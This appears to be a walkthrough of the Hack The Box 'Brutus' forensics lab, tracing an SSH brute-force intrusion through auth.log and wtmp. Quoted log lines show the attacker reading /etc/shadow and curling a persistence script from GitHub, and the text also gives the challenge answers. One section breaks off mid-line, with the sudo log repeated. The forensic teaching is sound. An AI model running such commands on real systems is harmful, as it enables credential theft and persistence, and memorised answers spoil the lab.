Brutus - HTB Very Easy Sherlock
About
This Sherlock focuses on the auth.log and wtmp Unix logs. We will investigate a scenario where a Confluence server was subjected to an SSH brute-force attack. After gaining access, the attacker performed additional activities that can be tracked in auth.log. Although auth.log is often used for brute-force analysis, we will explore its full potential to investigate privilege escalation, persistence, and command execution.
Investigation
This Sherlock requires us to answer several questions by analyzing the provided .zip file. The archive contains three files.
└─ $ unzip -l Brutus.zip
Archive: Brutus.zip
Length Date Time Name
--------- ---------- ----- ----
43911 2024-03-06 11:47 auth.log
11136 2024-03-06 11:47 wtmp
3154 2025-04-30 05:51 utmp.py
--------- -------
58201 3 filesWhen attempting to extract the archive with unzip, I encountered the error unsupported compression method 99 for two files. Using 7z successfully extracted all files.
┌── ➤ brutus
└─ $7z x Brutus.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 5756 bytes (6 KiB)
Extracting archive: Brutus.zip
--
Path = Brutus.zip
Type = zip
PhysicalSize = 5756
Enter password:hacktheblue
Everything is Ok
Files: 3
Size: 58201
Compressed: 5756Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
As the prompt suggests, we can find the answer by analyzing the auth.log file. Starting at line 68, a series of authentication attempts from the IP address 65.2.161.68 to the host 172.31.35.28 are visible.
This provides the answer, but what if the log file were much larger? This log is only about 400 lines, making a visual analysis feasible. For a log with thousands of lines, a manual review would be impractical.
Since the attacker is making the requests, we can craft a grep command with a regex to extract all source IP addresses. By piping the output to sort | uniq -c | sort -nr, we can count the unique occurrences. This command confirms that the IP 65.2.161.68 made 118 requests, far more than any other IP, identifying it as the attacker.
└─ $ grep -oE 'from ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' auth.log | sort | uniq -c | sort -nr
118 from 65.2.161.68
1 from 203.101.190.9The bruteforce attempts were successful, and the attacker gained access to an account on the server. What is the username of the account?
Knowing the attacker's IP address, we can filter the log for successful authentications using grep. The output shows the attacker successfully gained access to the root account.
└─ $ cat auth.log | grep Accepted
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2Identify the UTC timestamp when the attacker manually logged in to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time and can be found in the wtmp artifact.
The question directs us to analyze the wtmp file. We can use the utmpdump utility to parse this binary file and view system login information in a human-readable format.
Tip
wtmp: This is a system log file that stores information about all user logins and logouts.
utmpdump: This utility is particularly useful for inspecting binary log files like wtmp in a readable text format. It allows an analyst to verify login activity, identify unauthorized access, or perform general auditing.
┌── ➤ brutus
└─ $utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN ] [tty1 ] [ ][0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [ ] [] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:41:11,700107+00:00]
[8][838896][] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:54:27.775434+00:00]
[8] [842073] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~ ] [shutdown] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~ ][reboot ][~] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ][2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]Isolating the line where the attacker's IP (65.2.161.68) establishes a user process reveals the login timestamp: 2024-03-06 06:32:45.
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
In this case, a simple grep is insufficient. A manual review of the log entries immediately following the successful authentication is necessary. Line 324, which appears immediately after the accepted password entry for the attacker, shows that systemd-logind started a new session for the root user. The session ID assigned is 37.
Tip
The session number is essentially the PID (Process ID) of the process managing the login session. For SSH sessions, this usually refers to the PID of the sshd process handling that particular connection.
....SNIP....
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
....SNIP....The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
To create a new user, the attacker would use the useradd command. We can grep for this command in the auth.log to find the entry where the new user, cyberjunkie, was created.
└─ $ cat auth.log | grep useradd
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1What is the MITER ATT&CK sub-Technique ID used for persistence by creating a new account?
The Mitre ATT&CK framework documents various tactics and techniques used by threat actors. The question refers to persistence achieved by creating an account, which matches the attacker's action of creating the cyberjunkie user.
Since the prompt asks for the sub-technique ID, we must determine the specific type of account created. Because the attacker used the useradd command, we know it is a local account. This corresponds to the Create Account: Local Account sub-technique, giving us the ID T1136.001.
What time did the attacker's first SSH session end according to auth.log?
By consulting the wtmp manual page, we learn that a record type of 8 (DEAD_PROCESS) signifies the termination of a process. Since wtmp tracks logins and logouts, the first DEAD_PROCESS record following the attacker's successful login will indicate the session's end.
Note
Meaning of each number
define EMPTY 0 /* Record does not contain valid info
define RUN_LVL 1 /* Change in system run-level (see
define BOOT_TIME 2 /* Time of system boot (in _ut_tv_) */
define NEW_TIME 3 /* Time after system clock change
define OLD_TIME 4 /* Time before system clock change
define INIT_PROCESS 5 /* Process spawned by **[init](https://linux.die.net/man/8/init)**(8) */
define LOGIN_PROCESS 6 /* Session leader process for user login */
define USER_PROCESS 7 /* Normal process */
define DEAD_PROCESS 8 /* Terminated process */
define ACCOUNTING 9 /* Not implemented */In the utmpdump output below, the DEAD_PROCESS record (type [8]) immediately following the attacker's login session (type [7]) has the timestamp 2024-03-06 06:37:24. This is the time the session ended.
┌── ➤ brutus
└─ $ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
...SNIP...
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 [65.2.161.68] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [] [] [pts/1] [ ... https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`.
```bash
└─ $cat auth.log | grep sudo
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user rootThe attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
Using the same grep command from the previous question, we can easily extract the full URL from which the script was downloaded: https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh.
└─ $cat auth.log | grep sudo
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root